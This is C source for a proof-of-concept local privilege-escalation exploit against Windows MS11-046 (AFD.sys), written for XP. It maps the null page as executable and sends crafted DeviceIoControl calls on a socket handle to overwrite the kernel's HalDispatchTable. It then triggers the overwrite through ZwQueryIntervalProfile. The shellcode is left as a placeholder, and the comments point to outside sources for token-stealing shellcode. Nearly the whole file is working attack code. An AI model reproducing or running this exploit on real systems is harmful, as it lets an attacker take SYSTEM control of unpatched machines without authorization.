/*
MS11-046 Was a Zero day found in the wild , reported to MS by
Steven Adair from the Shadowserver Foundation and Chris S .
Ronnie Johndas wrote the writeup dissecting a malware with this exploit .
I Rahul Sasi(fb1h2s) just made the POC exploit available .
Reference: ms8-66, ms6-49
*************************************************************
Too lazy to add the shellcode , you could steel this one, it should work .
http://www.whitecell.org/list.php?id=50
The shell code to acheive privilage esclation as per the article used the following steps
http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf
.
1) Use PslookupProcessId get system token
2) Replace it with the current process token, and we are system
*************************************************************
*/
#define SystemModuleInformation 11
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WINNT
//For XP Only
#define _WIN32_WINNT 0x0501
#endif
// We have a client sock conencting to 135 considering the fact it's open by default
#define DEFAULT_ADDR "127.0.0.1"
#define DEFAULT_PORT "135"
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <iphlpapi.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")
#pragma comment (lib, "ntdll.lib")
//lets make a nop ret sandwitch
unsigned char hexcode[]="\x90\x90\x90\xcc\x90\x90\x90\x90";
/*
The shell code to acheive privilage esclation
Add you shellcode here as per the article http://www.exploit-db.com/wp-content/themes/exploit/docs/18712.pdf
the malware used the following method.
1) Wse PslookupProcessId get system token
2) Replace it with the current process token, and we are system
*/
// he gets the above sandwitch
LPVOID hexcode_addr = (LPVOID)0x00000000;
DWORD sizeofshell = 0x1000;
// he gets the haldispatch
ULONG_PTR HalDispatchTable;
//Holds the base adress of krnl
PVOID krl_base;
//load adress of those %krnl%.exe dudes
HMODULE krl_addr;
// structure system_module_info data
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
//sock addrinfo
struct addrinfo *result = NULL,
*ptr = NULL,
hints;
// The list of loaded drivers
typedef LONG NTSTATUS, *PNTSTATUS;
NTSTATUS
NTAPI
ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef enum _KPROFILE_SOURCE {
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
typedef DWORD (WINAPI *PNTQUERYINTERVAL)( KPROFILE_SOURCE ProfileSource,PULONG Interval );
typedef NTSTATUS (WINAPI *PNTALLOCATE)( IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
int main() {
//All the declarations goes here
PNTQUERYINTERVAL ZwQueryIntervalProfile;
PNTALLOCATE ZwAllocateVirtualMemory;
KPROFILE_SOURCE stProfile = ProfileTotalIssues;
ULONG Ret_size;
NTSTATUS status,alloc_status ;
ULONG i, n, *q;
PSYSTEM_MODULE_INFORMATION p;
void *base;
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
int iResult;
DWORD ibuf [0x30];
DWORD obuf [0x30];
ULONG_PTR result;
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
printf("\n [+] MS11-046 Exploit by fb1h2s(Rahul Sasi) ");
/*
MS11-046 Was a Zero day found in the wild , reported to MS by
Steven Adair from the Shadowserver Foundation and Chris S .
Ronnie Johndas wrote the writeup dissecting a malware with the exploit details .
I Rahul Sasi(fb1h2s) just made the POC exploit available .
Reference: ms8_66, ms6_49 http://www.whitecell.org/list.php?id=50 exp codes
*/
status = ZwQuerySystemInformation(SystemModuleInformation, &n, 0, &n);
q = (ULONG *)malloc(n * sizeof(*q));
if (q == NULL) {
perror("malloc");
return -1;
}
status = ZwQuerySystemInformation(SystemModuleInformation, q, n * sizeof(*q), NULL);
p = (PSYSTEM_MODULE_INFORMATION)(q + 1);
base = NULL;
// Loop Loop The table and check for our krl
for (i = 0; i < *q; i++)
{
if( strstr(p[i].ImageName,"ntkrnlpa.exe") )
{
printf("\n [+] Yo Yo found, and am In ntkrnlpa.exe \n");
krl_addr = LoadLibraryExA("ntkrnlpa.exe",0,1);
printf("\t Base: 0x%x size: %u\t%s\n",
p[i].Base,
p[i].Size,
p[i].ImageName);
krl_base = p[i].Base;
break;
}
else if(strstr(p[i].ImageName,"ntoskrnl.exe"))
{
printf("\n [+] Yo Yo found, and am In ntoskrnl.exe\n");
krl_addr = LoadLibraryExA("ntoskrnl.exe",0,1);
printf("\t Base Adress: 0x%x ",p[i].Base);
krl_base = p[i].Base;
break;
}
else
{
printf("\n [+]Cdnt find, and am out\n");
exit(0);
}
}
free(q);
printf("\n[+] Continue with Exploitation\n");
HalDispatchTable = (ULONG_PTR)GetProcAddress(krl_addr,
"HalDispatchTable");
if( !HalDispatchTable )
{
printf("[!!] Sh*t happen with HalDispatchTablen");
return FALSE;
}
printf("\tBase Nt=: 0x%x ",krl_base);
HalDispatchTable -= ( ULONG_PTR )krl_addr;
HalDispatchTable += krl_base;
printf("\n[+] HalDispatchTable found \t\t\t [ 0x%p ]\n",HalDispatchTable);
printf("[+] ZwQueryIntervalProfile ");
ZwQueryIntervalProfile = ( PNTQUERYINTERVAL ) GetProcAddress(GetModuleHandle("ntdll.dll"),
"ZwQueryIntervalProfile");
if( !ZwQueryIntervalProfile )
{
printf("[!!] Sh*t happen resolving ZwQueryIntervalProfile\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",ZwQueryIntervalProfile );
printf("[+] ZwAllocateVirtualMemory");
ZwAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle( "ntdll.dll"),
"ZwAllocateVirtualMemory");
if( !ZwAllocateVirtualMemory )
{
printf("[!!] Unable to resolve ZwAllocateVirtualMemory\n");
return FALSE;
}
printf( "\t\t\t [ 0x%p ]\n",ZwAllocateVirtualMemory );
printf("\n[+] Allocating memory at [ 0x%p ]...\n",hexcode_addr);
alloc_status = ZwAllocateVirtualMemory( INVALID_HANDLE_VALUE,
&hexcode_addr,
0,
&sizeofshell,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
printf("\n[+] status %p.\n",alloc_status );
if( alloc_status != 0 )
{
printf("[-] Sh*t happen with NtAllocateVirtualMemory() , %#X\n",
alloc_status);
}
printf("\t\tZwAllocateVirtualMemory() Allocated return Status, %#X\n",
alloc_status);
memset(hexcode_addr, 0x90, sizeofshell);
memcpy( (void*)((BYTE*)hexcode_addr + 0x100),(void*)hexcode, sizeof(hexcode));
iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
if (iResult != 0) {
printf("WASUP Failed: %d\n", iResult);
return 1;
}
iResult = getaddrinfo(DEFAULT_ADDR, DEFAULT_PORT, &hints, &result);
ptr=result;
// SOCKET for connecting to localhost at 135
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
ptr->ai_protocol);
if (ConnectSocket == INVALID_SOCKET) {
printf("[-] This is bad , Socket Error : %ld\n", WSAGetLastError());
freeaddrinfo(result);
WSACleanup();
return 1;
}
// Connect to server.
iResult = connect( ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
if (iResult == SOCKET_ERROR) {
closesocket(ConnectSocket);
ConnectSocket = INVALID_SOCKET;
printf("[+]Unable to connect to server, modify code and add a server socket, and connect to it!\n");
WSACleanup();
return ;
}
else {
printf("[+]Hola Connected to server !\n");
}
memset(ibuf,0x90,sizeof(ibuf));
memset(obuf,0x90,sizeof(obuf));
DeviceIoControl((HANDLE)ConnectSocket,
0x12007,
(LPVOID)ibuf,sizeof(ibuf),
(LPVOID)obuf,0,
&Ret_size,
NULL);
for( i = 0; i < sizeof( hints ) ; i++)
{
printf(" %02X ",(unsigned char)obuf[i]);
}
printf("\n\n[+] Overwriting HalDispatchTable with those bytes...");
DeviceIoControl((HANDLE)ConnectSocket,
0x12007,
(LPVOID)ibuf,sizeof(ibuf),
(LPVOID)HalDispatchTable,0,
&Ret_size,
NULL);
printf("\n\n[+] This should work and break...");
ZwQueryIntervalProfile(stProfile,&result);
}